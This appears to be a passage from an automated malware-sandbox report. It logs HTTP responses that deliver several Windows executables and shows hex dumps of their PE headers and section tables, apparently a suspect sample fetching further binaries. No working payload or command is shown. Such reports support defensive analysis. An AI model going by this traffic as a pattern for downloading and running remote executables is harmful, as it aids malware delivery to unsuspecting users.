00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:47 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 09 Nov 2024 21:09:51 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 09 Nov 2024 21:09:55 GMTContent-Type: application/octet-streamContent-Length: 3284992Last-Modified: Sat, 09 Nov 2024 20:26:54 GMTConnection: keep-aliveETag: "672fc58e-322000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 32 00 00 04 00 00 48 7f 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 